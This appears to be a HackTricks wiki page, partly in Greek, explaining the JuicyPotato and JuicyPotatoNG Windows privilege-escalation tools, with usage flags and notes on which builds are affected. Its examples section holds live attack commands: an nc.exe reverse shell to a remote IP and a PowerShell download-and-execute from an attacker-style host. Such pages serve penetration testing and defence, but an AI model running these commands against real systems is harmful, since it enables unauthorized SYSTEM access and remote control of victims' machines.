JuicyPotato
Reading time: 8 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
[!WARNING] > JuicyPotato is legacy. It generally works on Windows versions up to Windows 10 1803 / Windows Server 2016. Microsoft changes shipped starting in Windows 10 1809 / Server 2019 broke the original technique. For those builds and newer, consider modern alternatives such as PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato and others. See the page below for up-to-date options and usage.
RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
Juicy Potato (κατάχρηση των χρυσών προνομίων)
A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM
You can download juicypotato from https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts
Compatibility quick notes
- Λειτουργεί αξιόπιστα έως Windows 10 1803 και Windows Server 2016 όταν το τρέχον context έχει SeImpersonatePrivilege ή SeAssignPrimaryTokenPrivilege.
- Broken by Microsoft hardening in Windows 10 1809 / Windows Server 2019 and later. Prefer the alternatives linked above for those builds.
Summary
RottenPotatoNG and its variants leverages the privilege escalation chain based on BITS
service having the MiTM listener on 127.0.0.1:6666
and when you have SeImpersonate
or SeAssignPrimaryToken
privileges. During a Windows build review we found a setup where BITS
was intentionally disabled and port 6666
was taken.
We decided to weaponize RottenPotatoNG: Say hello to Juicy Potato.
For the theory, see Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM and follow the chain of links and references.
We discovered that, other than BITS
there are a several COM servers we can abuse. They just need to:
- να μπορούν να δημιουργηθούν από τον τρέχοντα χρήστη, συνήθως έναν “service user” ο οποίος έχει impersonation privileges
- να υλοποιούν το interface
IMarshal
- να τρέχουν ως elevated user (SYSTEM, Administrator, …)
After some testing we obtained and tested an extensive list of interesting CLSID’s on several Windows versions.
Juicy details
JuicyPotato allows you to:
- Target CLSID pick any CLSID you want. Here you can find the list organized by OS.
- COM Listening port define COM listening port you prefer (instead of the marshalled hardcoded 6666)
- COM Listening IP address bind the server on any IP
- Process creation mode depending on the impersonated user’s privileges you can choose from:
CreateProcessWithToken
(needsSeImpersonate
)CreateProcessAsUser
(needsSeAssignPrimaryToken
)both
- Process to launch launch an executable or script if the exploitation succeeds
- Process Argument customize the launched process arguments
- RPC Server address for a stealthy approach you can authenticate to an external RPC server
- RPC Server port useful if you want to authenticate to an external server and firewall is blocking port
135
… - TEST mode mainly for testing purposes, i.e. testing CLSIDs. It creates the DCOM and prints the user of token. See here for testing
Usage
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
Τελικά σχόλια
Αν ο χρήστης έχει SeImpersonate
ή SeAssignPrimaryToken
προνόμια τότε είστε SYSTEM.
Είναι σχεδόν αδύνατο να αποτραπεί η κατάχρηση όλων αυτών των COM Servers. Θα μπορούσατε να σκεφτείτε να τροποποιήσετε τα δικαιώματα αυτών των αντικειμένων μέσω του DCOMCNFG
αλλά καλή τύχη, αυτό θα είναι πρόκληση.
Η πραγματική λύση είναι να προστατέψετε ευαίσθητους λογαριασμούς και εφαρμογές που τρέχουν υπό τους λογαριασμούς * SERVICE
. Το να σταματήσετε το DCOM
σίγουρα θα παρεμπόδιζε αυτό το exploit αλλά μπορεί να έχει σοβαρό αντίκτυπο στο υποκείμενο OS.
From: http://ohpe.it/juicy-potato/
JuicyPotatoNG (2022+)
JuicyPotatoNG re-introduces a JuicyPotato-style local privilege escalation on modern Windows by combining:
- DCOM OXID resolution to a local RPC server on a chosen port, avoiding the old hardcoded 127.0.0.1:6666 listener.
- An SSPI hook to capture and impersonate the inbound SYSTEM authentication without requiring RpcImpersonateClient, which also enables CreateProcessAsUser when only SeAssignPrimaryTokenPrivilege is present.
- Tricks to satisfy DCOM activation constraints (e.g., the former INTERACTIVE-group requirement when targeting PrintNotify / ActiveX Installer Service classes).
Important notes (evolving behavior across builds):
- September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”.
- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post.
Basic usage (more flags in the help):
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
# Useful helpers:
# -b Bruteforce all CLSIDs (testing only; spawns many processes)
# -s Scan for a COM port not filtered by Windows Defender Firewall
# -i Interactive console (only with CreateProcessAsUser)
Εάν στοχεύετε Windows 10 1809 / Server 2019 όπου το κλασικό JuicyPotato έχει επιδιορθωθεί, προτιμήστε τις εναλλακτικές που αναφέρονται στην κορυφή (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, κ.λπ.). Το NG μπορεί να είναι κατά περίπτωση, ανάλογα με το build και την κατάσταση της υπηρεσίας.
Παραδείγματα
Σημείωση: Επισκεφθείτε this page για μια λίστα CLSIDs προς δοκιμή.
Πάρτε ένα nc.exe reverse shell
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell rev
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
Εκκίνηση νέου CMD (αν έχετε πρόσβαση RDP)
Προβλήματα CLSID
Συχνά, το προεπιλεγμένο CLSID που χρησιμοποιεί το JuicyPotato δεν λειτουργεί και το exploit αποτυγχάνει. Συνήθως απαιτούνται πολλαπλές προσπάθειες για να βρεθεί ένα λειτουργικό CLSID. Για να πάρετε μια λίστα με CLSIDs για ένα συγκεκριμένο λειτουργικό σύστημα, επισκεφθείτε αυτή τη σελίδα:
Έλεγχος CLSIDs
Πρώτα, θα χρειαστείτε μερικά εκτελέσιμα αρχεία εκτός από το juicypotato.exe.
Κατεβάστε το Join-Object.ps1 και φορτώστε το στη συνεδρία PS σας, και κατεβάστε και εκτελέστε το GetCLSID.ps1. Αυτό το script θα δημιουργήσει μια λίστα πιθανών CLSIDs για δοκιμή.
Στη συνέχεια κατεβάστε test_clsid.bat (αλλάξτε τη διαδρομή προς τη λίστα CLSID και προς το εκτελέσιμο του juicypotato) και εκτελέστε το. Θα αρχίσει να δοκιμάζει κάθε CLSID, και όταν αλλάξει ο αριθμός θύρας, αυτό θα σημαίνει ότι το CLSID δούλεψε.
Ελέγξτε τα CLSIDs που λειτουργούν χρησιμοποιώντας την παράμετρο -c
Αναφορές
- https://github.com/ohpe/juicy-potato/blob/master/README.md
- Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.